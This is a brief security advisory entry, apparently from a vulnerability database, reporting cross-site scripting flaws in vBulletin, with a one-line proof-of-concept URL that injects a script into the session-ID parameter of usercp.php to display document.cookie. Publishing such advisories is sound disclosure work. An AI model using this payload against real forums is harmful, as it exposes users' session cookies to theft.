• info
• discussion
• exploit
• solution
• references

Multiple VBulletin Cross Site Scripting Vulnerabilities

The following proof of concept was provided:

http://<victim>/usercp.php?s=[Session ID]">&lt;Script&gt;alert(document.cookie);&lt;/Script&gt;